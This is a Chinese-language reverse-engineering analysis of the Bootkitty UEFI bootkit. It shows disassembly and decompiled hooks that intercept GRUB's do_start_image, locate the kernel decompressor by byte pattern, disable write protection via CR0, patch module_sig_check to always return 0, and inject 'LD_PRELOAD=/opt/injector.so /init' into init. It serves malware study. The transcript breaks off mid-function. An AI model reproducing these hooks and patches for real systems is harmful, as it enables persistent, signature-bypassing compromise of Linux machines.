.text:00000000000002FA 75 EE jnz short loc_2EA
.text:00000000000002FC 80 7A 01 04 cmp byte ptr [rdx+1], 4
.text:0000000000000300 75 E8 jnz short loc_2EA
.text:0000000000000302 48 89 50 20 mov [rax+20h], rdx
.text:0000000000000306 EB 32 jmp short loc_33A
.text:0000000000000308 ; ---------------------------------------------------------------------------
.text:0000000000000308
.text:0000000000000308 loc_308: ; CODE XREF: do_start_image_286+38↑j
.text:0000000000000308 48 B9 E7 0D 00 00 00 00 00 00 mov rcx, offset aLoadedImagePro ; "Loaded image protocol missing\n"
.text:0000000000000312 BE C0 02 00 00 mov esi, 2C0h
.text:0000000000000317 31 C0 xor eax, eax
.text:0000000000000319 48 BA 9C 0D 00 00 00 00 00 00 mov rdx, offset aLinux ; "linux"
.text:0000000000000323 48 BF A2 0D 00 00 00 00 00 00 mov rdi, offset aLoaderEfiPeima ; "loader/efi/peimage.c"
.text:000000000000032D 49 B8 E0 10 00 00 00 00 00 00 mov r8, offset grub_real_dprintf
.text:0000000000000337 41 FF D0 call r8 ; grub_real_dprintf
.text:000000000000033A
.text:000000000000033A loc_33A: ; CODE XREF: do_start_image_286+62↑j
.text:000000000000033A ; do_start_image_286+80↑j
.text:000000000000033A 48 BF 40 10 00 00 00 00 00 00 mov rdi, offset unk_1040
.text:0000000000000344 48 B8 30 11 00 00 00 00 00 00 mov rax, offset grub_setjmp
.text:000000000000034E FF D0 call rax ; grub_setjmp
.text:0000000000000350 F3 0F 1E FA endbr64
.text:0000000000000354 85 C0 test eax, eax
.text:0000000000000356 74 31 jz short loc_389
.text:0000000000000358 48 BB 40 10 00 00 00 00 00 00 mov rbx, offset unk_1040
.text:0000000000000362 48 83 EC 20 sub rsp, 20h
.text:0000000000000366 48 B8 3E 00 00 00 00 00 00 00 mov rax, offset sub_3E
.text:0000000000000370 48 8B 4B 40 mov rcx, [rbx+40h]
.text:0000000000000374 FF D0 call rax ; sub_3E
.text:0000000000000376 31 C9 xor ecx, ecx
.text:0000000000000378 48 8B 43 48 mov rax, [rbx+48h]
.text:000000000000037C 48 83 C4 20 add rsp, 20h
.text:0000000000000380 48 89 4B 40 mov [rbx+40h], rcx
.text:0000000000000384 E9 D6 00 00 00 jmp loc_45F
.text:0000000000000389 ; ---------------------------------------------------------------------------
.text:0000000000000389
.text:0000000000000389 loc_389: ; CODE XREF: do_start_image_286+D0↑j
.text:0000000000000389 49 BE A8 10 00 00 00 00 00 00 mov r14, offset grub_efi_system_table
.text:0000000000000393 BE CE 02 00 00 mov esi, 2CEh
.text:0000000000000398 48 BB C0 0F 00 00 00 00 00 00 mov rbx, offset unk_FC0
.text:00000000000003A2 49 BC 40 10 00 00 00 00 00 00 mov r12, offset unk_1040
.text:00000000000003AC 49 BD F2 00 00 00 00 00 00 00 mov r13, offset sub_F2
.text:00000000000003B6 49 8B 06 mov rax, [r14]
.text:00000000000003B9 48 BF A2 0D 00 00 00 00 00 00 mov rdi, offset aLoaderEfiPeima ; "loader/efi/peimage.c"
.text:00000000000003C3 48 B9 06 0E 00 00 00 00 00 00 mov rcx, offset aExecutingImage ; "Executing image loaded at 0x%lx\nEntry "...
.text:00000000000003CD 49 BF E0 10 00 00 00 00 00 00 mov r15, offset grub_real_dprintf
.text:00000000000003D7 48 8B 40 60 mov rax, [rax+60h]
.text:00000000000003DB 48 8B 90 D8 00 00 00 mov rdx, [rax+0D8h]
.text:00000000000003E2 4C 89 A8 D8 00 00 00 mov [rax+0D8h], r13
.text:00000000000003E9 49 89 54 24 50 mov [r12+50h], rdx
.text:00000000000003EE 48 BA 9C 0D 00 00 00 00 00 00 mov rdx, offset aLinux ; "linux"
.text:00000000000003F8 50 push rax
.text:00000000000003F9 8B 43 3C mov eax, [rbx+3Ch]
.text:00000000000003FC 4C 8B 4B 60 mov r9, [rbx+60h]
.text:0000000000000400 4C 8B 43 58 mov r8, [rbx+58h]
.text:0000000000000404 50 push rax
.text:0000000000000405 31 C0 xor eax, eax
.text:0000000000000407 41 FF D7 call r15 ; grub_real_dprintf
.text:000000000000040A 52 push rdx
.text:000000000000040B 52 push rdx
.text:000000000000040C 49 8B 4C 24 40 mov rcx, [r12+40h]
.text:0000000000000411 49 8B 16 mov rdx, [r14]
.text:0000000000000414 FF 53 60 call qword ptr [rbx+60h]
.text:0000000000000417 BE D9 02 00 00 mov esi, 2D9h
.text:000000000000041C 48 B9 45 0E 00 00 00 00 00 00 mov rcx, offset aApplicationRet ; "Application returned\n"
.text:0000000000000426 48 BA 9C 0D 00 00 00 00 00 00 mov rdx, offset aLinux ; "linux"
.text:0000000000000430 48 83 C4 20 add rsp, 20h
.text:0000000000000434 48 89 C3 mov rbx, rax
.text:0000000000000437 31 C0 xor eax, eax
.text:0000000000000439 48 BF A2 0D 00 00 00 00 00 00 mov rdi, offset aLoaderEfiPeima ; "loader/efi/peimage.c"
.text:0000000000000443 41 FF D7 call r15 ; grub_real_dprintf
.text:0000000000000446 48 83 EC 20 sub rsp, 20h
.text:000000000000044A 49 8B 4C 24 40 mov rcx, [r12+40h]
.text:000000000000044F 45 31 C9 xor r9d, r9d
.text:0000000000000452 45 31 C0 xor r8d, r8d
.text:0000000000000455 48 89 DA mov rdx, rbx
.text:0000000000000458 41 FF D5 call r13 ; sub_F2
.text:000000000000045B 48 83 C4 20 add rsp, 20h
.text:000000000000045F
.text:000000000000045F loc_45F: ; CODE XREF: do_start_image_286+FE↑j
.text:000000000000045F 48 8D 65 D8 lea rsp, [rbp-28h]
.text:0000000000000463 5B pop rbx
.text:0000000000000464 41 5C pop r12
.text:0000000000000466 41 5D pop r13
.text:0000000000000468 41 5E pop r14
.text:000000000000046A 41 5F pop r15
.text:000000000000046C 5D pop rbp
.text:000000000000046D C3 retn
.text:000000000000046D do_start_image_286 endp
反编译
__int64 do_start_image_286()
{
_QWORD *loaded_image; // rax
__int64 v1; // rsi
__int64 v2; // rdx
__int64 v3; // rcx
__int64 v4; // rdx
__int64 result; // rax
__int64 v6; // rax
__int64 v7; // rdx
__int64 v8; // rbx
__endbr64();
qword_1080 = grub_efi_image_handle;
loaded_image = (_QWORD *)grub_efi_get_loaded_image(grub_efi_image_handle);
if ( loaded_image )
{
v1 = *((unsigned int *)&unk_FC0 + 0xF);
v2 = *((_QWORD *)&unk_FC0 + 2);
loaded_image[8] = *((_QWORD *)&unk_FC0 + 0xB);
loaded_image[9] = v1;
if ( v2 )
{
while ( *(_BYTE *)v2 != 4 || *(_BYTE *)(v2 + 1) != 4 )
{
v3 = *(unsigned __int16 *)(v2 + 2);
if ( (unsigned __int16)v3 <= 3u )
goto LABEL_3;
v2 += v3;
}
loaded_image[4] = v2;
}
else
{
LABEL_3:
v1 = 0LL;
loaded_image[4] = 0LL;
}
}
else
{
v1 = 0x2C0LL;
grub_real_dprintf("loader/efi/peimage.c", 0x2C0LL, "linux", "Loaded image protocol missing\n");
}
__endbr64();
if ( (unsigned int)grub_setjmp(&unk_1040) )
{
sub_3E(&unk_1040, v1, v4, *((_QWORD *)&unk_1040 + 8));
result = *((_QWORD *)&unk_1040 + 9);
*((_QWORD *)&unk_1040 + 8) = 0LL;
}
else
{
v6 = *(_QWORD *)(grub_efi_system_table + 0x60LL);
v7 = *(_QWORD *)(v6 + 0xD8);
*(_QWORD *)(v6 + 0xD8) = sub_F2;
*((_QWORD *)&unk_1040 + 0xA) = v7;
grub_real_dprintf(
"loader/efi/peimage.c",
0x2CELL,
"linux",
"Executing image loaded at 0x%lx\nEntry point 0x%lx\nSize 0x%08x\n",
*((_QWORD *)&unk_FC0 + 0xB),
*((_QWORD *)&unk_FC0 + 0xC),
*((unsigned int *)&unk_FC0 + 0xF));
v8 = (*((__int64 (__fastcall **)(const char *, __int64, _QWORD, _QWORD))&unk_FC0 + 0xC))(
"loader/efi/peimage.c",
0x2CELL,
grub_efi_system_table,
*((_QWORD *)&unk_1040 + 8));
grub_real_dprintf("loader/efi/peimage.c", 0x2D9LL, "linux", "Application returned\n");
return sub_F2("loader/efi/peimage.c", 0x2D9LL, v8, *((_QWORD *)&unk_1040 + 8), 0LL, 0LL);
}
return result;
}
源码
static grub_efi_status_t __grub_efi_api
do_start_image (grub_efi_handle_t image_handle,
grub_efi_uintn_t *exit_data_size __attribute__ ((unused)),
grub_efi_char16_t **exit_data __attribute__ ((unused)))
{
grub_efi_status_t status;
struct image_info *info;
info = grub_efi_open_protocol (image_handle,
&(grub_guid_t)GRUB_PEIMAGE_MARKER_GUID,
GRUB_EFI_OPEN_PROTOCOL_GET_PROTOCOL);
if (!info)
{
grub_error (GRUB_ERR_BAD_OS, "image not loaded");
return GRUB_EFI_LOAD_ERROR;
}
if (grub_setjmp (info->jmp))
{
status = info->exit_status;
do_unload_image (image_handle);
}
else
{
grub_dprintf ("linux",
"Executing image loaded at 0x%lx\n"
"Entry point 0x%lx\n"
"Size 0x%lx\n",
(unsigned long)info->loaded_image.image_base,
(unsigned long)info->entry_point,
(unsigned long)info->loaded_image.image_size);
/* Invalidate the instruction cache */
grub_arch_sync_caches (info->loaded_image.image_base,
info->loaded_image.image_size);
status = info->entry_point (image_handle, grub_efi_system_table);
grub_dprintf ("linux", "Application returned\n");
/* converge to the same exit path as if the image called
* boot_services->exit itself */
exit_hook (image_handle, status, 0, NULL);
/* image_handle is always valid above, thus exit_hook cannot
* return to here. if only GRUB had assert :(
grub_assert (false && "entered unreachable code");
*/
}
return status;
}
hook_grub_f1__do_start_image_18000DE20(do_start_image 的hook 函数)
当do_start_image 调用后,执行到
// mods:0000000000110A5C 49 8B 4C 24 40 mov rcx, [r12+40h]
// mods:0000000000110A61 49 8B 16 mov rdx, [r14]inlinehook 为 mov rax,xxx_hook_func; jmp rax
跳转到hook_grub_f1__do_start_image_18000DE20,获得vmlinuz 基址、??大小,再对内核进行hook(hook_and_patch_kernel_18000F5C0)
// RDI, RSI, RDX, RCX, R8, R9
__int64 __usercall hook_grub_f1__do_start_image_18000DE20@<rax>(
__int64 image_handle@<rdi>,
__int64 a2@<rsi>,
__int64 a3@<rdx>)
{
double v3; // xmm3_8
char *v4; // rcx
void *image_base; // rdi
void *v6; // rdx
void *v7; // r8
void *v8; // r9
int size; // ebx
void *v10; // rdx
void *v11; // r8
void *v12; // r9
__int64 v13; // r8
// .text:000000000000040C 49 8B 4C 24 40 mov rcx, [r12+40h]
// .text:0000000000000411 49 8B 16 mov rdx, [r14]
// .text:0000000000000414 FF 53 60 call qword ptr [rbx+60h]
v4 = original_grub_f1_180018268;
*(_QWORD *)original_grub_f1_180018268 = *(_QWORD *)backup_original_grub_f1_180018280;
v4[8] = backup_original_grub_f1_180018280[8];
v4[9] = backup_original_grub_f1_180018280[9];
v4[0xA] = backup_original_grub_f1_180018280[0xA];
v4[0xB] = backup_original_grub_f1_180018280[0xB];
// mov rax, [rbx+58h]
// struct image_info *info; image_info+0x58
// info->loaded_image.image_base
image_base = (void *)(int)sub_18000C885();
debug_18000DF00(image_base, (void *)a2, v6, "", v7, v8);
// rbx+8
// struct grub_efi_loaded_image
// {
// grub_efi_uint32_t revision;
// grub_efi_handle_t parent_handle;
// ···
// }
// //grub_efi_loaded_image.parent_handle
size = sub_18000C880();
debug_18000DF00(image_base, (void *)a2, v10, "", v11, v12);
hook_and_patch_kernel_18000F5C0((char *)image_base, size, v13, v3);
return ((__int64 (*)(void))original_grub_f1_180018268)();//执行原逻辑
}
hook_and_patch_kernel_18000F5C0 (安装vmlinuz 的hook)
在do_start_image 的hook函数中获取到vmlinuz
的基址,然后对vmlinuz 安装hook
目标硬编码
F3 0F 1E FA 53 48 89 FB 48 83 EC 20 8B 87 F0 75 00 00 83 F8 FF 74 6B 83 F8 01 74 5C 48 8B BF D8 75 00 00 4C 89 44 24 18 48 89 4C 24 10 48 89 54 24 08 48 89 34 24 E8 95 A6 FF FF
定位到 _??decompress_E26CB0 地址对应ubuntu-24.04.1-desktop-amd64 的vmlinuz
hook vmlinuz
unsigned __int64 __fastcall hook_and_patch_kernel_18000F5C0(char *image_base, int x_size, __int64 a3, double a4)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v4 = image_base;
if ( !image_base )
return 0x8000000000000002ui64;
v5 = &image_base[x_size - 0x3B];
if ( image_base >= v5 )
return 0x800000000000000Eui64;
// F3 0F 1E FA 53 48 89 FB 48 83 EC 20 8B 87 F0 75 00 00 83 F8 FF 74 6B 83 F8 01 74 5C 48 8B BF D8 75 00 00 4C 89 44 24 18 48 89 4C 24 10 48 89 54 24 08 48 89 34 24 E8 95 A6 FF FF
// .text:0000000000E26CB0 sub_E26CB0 proc near ; CODE XREF: sub_E28420+2B6↓p
// .text:0000000000E26CB0
// .text:0000000000E26CB0 var_28 = qword ptr -28h
// .text:0000000000E26CB0 var_20 = qword ptr -20h
// .text:0000000000E26CB0 var_18 = qword ptr -18h
// .text:0000000000E26CB0 var_10 = qword ptr -10h
// .text:0000000000E26CB0
// .text:0000000000E26CB0 F3 0F 1E FA endbr64
// .text:0000000000E26CB4 53 push rbx
// .text:0000000000E26CB5 48 89 FB mov rbx, rdi
// .text:0000000000E26CB8 48 83 EC 20 sub rsp, 20h
// .text:0000000000E26CBC 8B 87 F0 75 00 00 mov eax, [rdi+75F0h]
// .text:0000000000E26CC2 83 F8 FF cmp eax, 0FFFFFFFFh
// .text:0000000000E26CC5 74 6B jz short loc_E26D32
// .text:0000000000E26CC7 83 F8 01 cmp eax, 1
// .text:0000000000E26CCA 74 5C jz short loc_E26D28
// .text:0000000000E26CCC 48 8B BF D8 75 00 00 mov rdi, [rdi+75D8h]
// .text:0000000000E26CD3 4C 89 44 24 18 mov [rsp+28h+var_10], r8
// .text:0000000000E26CD8 48 89 4C 24 10 mov [rsp+28h+var_18], rcx
// .text:0000000000E26CDD 48 89 54 24 08 mov [rsp+28h+var_20], rdx
// .text:0000000000E26CE2 48 89 34 24 mov [rsp+28h+var_28], rsi
// .text:0000000000E26CE6 E8 95 A6 FF FF call sub_E21380
// .text:0000000000E26CEB 31 C0 xor eax, eax
// .text:0000000000E26CED 48 8B 34 24 mov rsi, [rsp+28h+var_28]
// .text:0000000000E26CF1 48 8B 54 24 08 mov rdx, [rsp+28h+var_20]
// .text:0000000000E26CF6 48 C7 83 D8 75 00 00 00 00 00 mov qword ptr [rbx+75D8h], 0
// .text:0000000000E26CF6 00
// .text:0000000000E26D01 48 8B 4C 24 10 mov rcx, [rsp+28h+var_18]
// .text:0000000000E26D06 48 C7 83 E0 75 00 00 00 00 00 mov qword ptr [rbx+75E0h], 0
// .text:0000000000E26D06 00
// .text:0000000000E26D11 4C 8B 44 24 18 mov r8, [rsp+28h+var_10]
// .text:0000000000E26D16 C7 83 F0 75 00 00 00 00 00 00 mov dword ptr [rbx+75F0h], 0
// .text:0000000000E26D20 EB 17 jmp short loc_E26D39
// .text:0000000000E26D20 ; ---------------------------------------------------------------------------
// .text:0000000000E26D22 66 0F 1F 44 00 00 align 8
// .text:0000000000E26D28
// .text:0000000000E26D28 loc_E26D28: ; CODE XREF: sub_E26CB0+1A↑j
// .text:0000000000E26D28 C7 87 F0 75 00 00 00 00 00 00 mov dword ptr [rdi+75F0h], 0
// .text:0000000000E26D32
// .text:0000000000E26D32 loc_E26D32: ; CODE XREF: sub_E26CB0+15↑j
// .text:0000000000E26D32 48 8B 83 E0 75 00 00 mov rax, [rbx+75E0h]
// .text:0000000000E26D39
// .text:0000000000E26D39 loc_E26D39: ; CODE XREF: sub_E26CB0+70↑j
// .text:0000000000E26D39 50 push rax
// .text:0000000000E26D3A 48 89 DF mov rdi, rbx
// .text:0000000000E26D3D 45 31 C9 xor r9d, r9d
// .text:0000000000E26D40 6A 00 push 0
// .text:0000000000E26D42 E8 A9 F9 FF FF call sub_E266F0
// .text:0000000000E26D47 48 83 C4 30 add rsp, 30h
// .text:0000000000E26D4B 5B pop rbx
// .text:0000000000E26D4C C3 retn
for ( i = pattern_1800124A0 - image_base; ; --i )
{
v7 = 0;
v8 = v4;
do
{
v9 = v8[i];
if ( v9 != (char)0xCC && *v8 != v9 )
break;
++v7;
++v8;
}
while ( v7 < 0x3B );
if ( v7 == 0x3B )
break;
if ( ++v4 >= v5 )
return 0x800000000000000Eui64;
}
v11 = flags_180018176;
original_func_180018258 = v4;
*(_QWORD *)v28 = hook_vmlinuz_decompress_18000DC80;
if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)back_original_func_180018290 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
StartOfBuffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
a4,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
ConOut = gST->ConOut;
if ( ConOut )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))ConOut->OutputString)(ConOut, StartOfBuffer);
}
v11 = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (v11 & 1) != 0 && ~(unsigned __int64)v4 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
v29,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
a4,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
v13 = gST->ConOut;
if ( v13 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v13->OutputString)(v13, v29);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( back_original_func_180018290 != v4 )
memmove_1800064F0(back_original_func_180018290, v4, 0xCui64);
v14 = original_func_180018258;
v15 = _readcr0_();
v16 = BYTE2(v15) & 1;
if ( (v15 & 0x10000) != 0 )
writecr0_180001010(v15 & 0xFFFFFFFFFFFEFFFFui64);
v17 = flags_180018176;
if ( (flags_180018176 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)v14 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
v31,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
a4,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
v18 = gST->ConOut;
if ( v18 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v18->OutputString)(v18, v31);
}
v17 = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (v17 & 1) != 0 && ~(unsigned __int64)jmp_rax_trampoline_180012520 < 0xB && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
v32,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
a4,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
v19 = gST->ConOut;
if ( v19 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v19->OutputString)(v19, v32);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( v14 != jmp_rax_trampoline_180012520 )
memmove_1800064F0(v14, (char *)jmp_rax_trampoline_180012520, 0xCui64);
if ( v16 )
{
v20 = _readcr0_();
writecr0_180001010(v20 | 0x10000);
}
v21 = original_func_180018258 + 2;
v22 = _readcr0_();
v23 = BYTE2(v22) & 1;
if ( (v22 & 0x10000) != 0 )
writecr0_180001010(v22 & 0xFFFFFFFFFFFEFFFFui64);
v24 = flags_180018176;
if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)v21 < 7 && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
v29,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
a4,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x32i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
if ( gST )
{
v25 = gST->ConOut;
if ( v25 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v25->OutputString)(v25, v29);
}
v24 = flags_180018176;
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( (v24 & 1) != 0 && ~(unsigned __int64)v28 < 7 && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
v29,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
a4,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
v26 = gST->ConOut;
if ( v26 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))v26->OutputString)(v26, v29);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( v21 != v28 )
memmove_1800064F0(v21, v28, 8ui64);
if ( !v23 )
return 0i64;
v27 = _readcr0_();
writecr0_180001010(v27 | 0x10000);
return 0i64;
}
hook_vmlinuz_decompress_18000DC80 (针对vmlinuz 的hook 函数)
操作如下:
-
调用原函数,即解压内核结束;kernel 被解压缩并位于内存中(仍未执行)
-
rewrite kernel version and linux_banner(硬编码偏移定位,不具备兼容性)
使用文本
BoB13
重写内核版本和 linux_banner[]
- patch module_sig_check (硬编码偏移定位,不具备兼容性)
函数 module_sig_check 修补为始终返回 0。此函数负责检查模块是否有效签名。通过修补函数以返回 0,内核将加载任何模块而不验证签名。在启用了 UEFI 安全引导的 Linux 系统上,如果要加载内核模块,则需要对其进行签名。当内核在启用 CONFIG_MODULE_SIG_FORCE 的情况下构建或将 module.sig_enforce=1 作为内核命令行参数传递时
- patch init 进程的第一个环境变量 (硬编码偏移定位,不具备兼容性)
Linux 内核执行的第一个进程是来自第一个有效的硬编码路径的 init(从 initramfs 的 /init 开始),以及命令行参数和环境变量。钩子代码将第一个环境变量替换为 LD_PRELOAD=/opt/injector.so /init。LD_PRELOAD 是一个环境变量,用于在其他共享对象之前加载 ELF 共享对象,并可用于覆盖函数。这是攻击者用来加载恶意二进制文件的常用技术。在这种情况下,/opt/injector.so 和 /init ELF 共享对象将在 init 进程启动时加载。
void *__fastcall hook_vmlinuz_decompress_18000DC80()
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v1 = original_func_180018258;
*(_QWORD *)original_func_180018258 = *(_QWORD *)back_original_func_180018290;
v1[8] = back_original_func_180018290[8];
v1[9] = back_original_func_180018290[9];
v1[0xA] = back_original_func_180018290[0xA];
v1[0xB] = back_original_func_180018290[0xB];
//0、解压内核
((void (*)(void))v1)();
// get rac
// mov rax, rcx
v3 = (void *)(int)sub_18000C88A(v2);
debug_18000DF00(v0, v3, v4, "", v5, v6);
// get [rsp+38h]
// mov rax, [rsp+38h]
v7 = (unsigned int)sub_18000C88E();
debug_18000DF00((void *)v7, v3, v8, "", v9, v10);
v11 = (unsigned int)sub_18000C894();
debug_18000DF00((void *)v7, v3, v12, "", v13, v14);
qword_180018270 = v7 | (v11 << 0x20);
sub_18000C89A();
debug_18000DF00((void *)v7, v3, v15, "", v16, v17);
v18 = qword_180018270;
// 1、rewrite kernel version and linux_banner
*(_DWORD *)(qword_180018270 + 0x19AC5E0) = '1BoB';
*(_BYTE *)(v18 + 0x19AC5E4) = '3';
qmemcpy((void *)(v18 + 0x29E84A7), "BoB13", 5);
result = v3;
// 2、 patch module_sig_check
// | 55 | push rbp |
// | 48:89E5 | mov rbp,rsp |
// | B8 00000000 | mov eax,0 |
// | 5D | pop rbp |
// | C3 | ret |
*(_QWORD *)(v18 + 0x3FA4B5) = 0xB8E5894855i64;
*(_DWORD *)(v18 + 0x3FA4BD) = 0xC35D00;
*(_QWORD *)(v18 + 0x260ED20) = 0xFFFFFFFF82505000ui64;
// 3、patch init 进程的第一个环境变量
strcpy((char *)(v18 + 0x1705000), "LD_PRELOAD=/opt/injector.so /init");
return result;
}
vmlinuz 函数
hook_and_patch_kernel_18000F5C0 中定位到vmlinuz 的_decompress_E26CB0 函数内部,
.text:0000000000E26CB0 ; unsigned __int64 __fastcall _decompress_E26CB0(char *, __int64, unsigned __int64)
.text:0000000000E26CB0 __decompress_E26CB0 proc near ; CODE XREF: xx_decompress_kernel_E28420+2B6↓p
.text:0000000000E26CB0
.text:0000000000E26CB0 var_28 = qword ptr -28h
.text:0000000000E26CB0 var_20 = qword ptr -20h
.text:0000000000E26CB0 var_18 = qword ptr -18h
.text:0000000000E26CB0 var_10 = qword ptr -10h
.text:0000000000E26CB0
.text:0000000000E26CB0 F3 0F 1E FA endbr64
.text:0000000000E26CB4 53 push rbx
.text:0000000000E26CB5 48 89 FB mov rbx, rdi
.text:0000000000E26CB8 48 83 EC 20 sub rsp, 20h
.text:0000000000E26CBC 8B 87 F0 75 00 00 mov eax, [rdi+75F0h]
.text:0000000000E26CC2 83 F8 FF cmp eax, 0FFFFFFFFh
.text:0000000000E26CC5 74 6B jz short loc_E26D32
.text:0000000000E26CC7 83 F8 01 cmp eax, 1
.text:0000000000E26CCA 74 5C jz short loc_E26D28
.text:0000000000E26CCC 48 8B BF D8 75 00 00 mov rdi, [rdi+75D8h]
.text:0000000000E26CD3 4C 89 44 24 18 mov [rsp+28h+var_10], r8
.text:0000000000E26CD8 48 89 4C 24 10 mov [rsp+28h+var_18], rcx
.text:0000000000E26CDD 48 89 54 24 08 mov [rsp+28h+var_20], rdx
.text:0000000000E26CE2 48 89 34 24 mov [rsp+28h+var_28], rsi
.text:0000000000E26CE6 E8 95 A6 FF FF call sub_E21380
.text:0000000000E26CEB 31 C0 xor eax, eax
.text:0000000000E26CED 48 8B 34 24 mov rsi, [rsp+28h+var_28]
.text:0000000000E26CF1 48 8B 54 24 08 mov rdx, [rsp+28h+var_20]
.text:0000000000E26CF6 48 C7 83 D8 75 00 00 00 00 00 mov qword ptr [rbx+75D8h], 0
.text:0000000000E26CF6 00
.text:0000000000E26D01 48 8B 4C 24 10 mov rcx, [rsp+28h+var_18]
.text:0000000000E26D06 48 C7 83 E0 75 00 00 00 00 00 mov qword ptr [rbx+75E0h], 0
.text:0000000000E26D06 00
.text:0000000000E26D11 4C 8B 44 24 18 mov r8, [rsp+28h+var_10]
.text:0000000000E26D16 C7 83 F0 75 00 00 00 00 00 00 mov dword ptr [rbx+75F0h], 0
.text:0000000000E26D20 EB 17 jmp short loc_E26D39
.text:0000000000E26D20 ; ---------------------------------------------------------------------------
.text:0000000000E26D22 66 0F 1F 44 00 00 align 8
.text:0000000000E26D28
.text:0000000000E26D28 loc_E26D28: ; CODE XREF: __decompress_E26CB0+1A↑j
.text:0000000000E26D28 C7 87 F0 75 00 00 00 00 00 00 mov dword ptr [rdi+75F0h], 0
.text:0000000000E26D32
.text:0000000000E26D32 loc_E26D32: ; CODE XREF: __decompress_E26CB0+15↑j
.text:0000000000E26D32 48 8B 83 E0 75 00 00 mov rax, [rbx+75E0h]
.text:0000000000E26D39
.text:0000000000E26D39 loc_E26D39: ; CODE XREF: __decompress_E26CB0+70↑j
.text:0000000000E26D39 50 push rax
.text:0000000000E26D3A 48 89 DF mov rdi, rbx
.text:0000000000E26D3D 45 31 C9 xor r9d, r9d
.text:0000000000E26D40 6A 00 push 0
.text:0000000000E26D42 E8 A9 F9 FF FF call sub_E266F0
.text:0000000000E26D47 48 83 C4 30 add rsp, 30h
.text:0000000000E26D4B 5B pop rbx
.text:0000000000E26D4C C3 retn
.text:0000000000E26D4C __decompress_E26CB0 endp
通过交叉引用来到调用处
// 猜测decompress_kernel
__int64 __fastcall xx_decompress_kernel_E28420(
unsigned __int64 a1,
void (*a2)(void),
void (__fastcall *a3)(const char *))
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
__endbr64();
if ( !qword_E46010 )
{
qword_E46010 = (__int64)&unk_E47040;
qword_E46008 = (__int64)&unk_E47040 + 0x30000;
}
v6 = sub_E1E270((int)qword_176C8);
if ( !v6 )
{
a3("Out of memory while allocating zstd_dctx");
return 0xFFFFFFFFFFFFFFFFLL;
}
v7 = (char *)sub_E217C0(v6, qword_176C8);
if ( !v7 )
{
a3("Out of memory while allocating zstd_dctx");
if ( !--dword_E77050 )
qword_E77058 = qword_E46010;
return 0xFFFFFFFFFFFFFFFFLL;
}
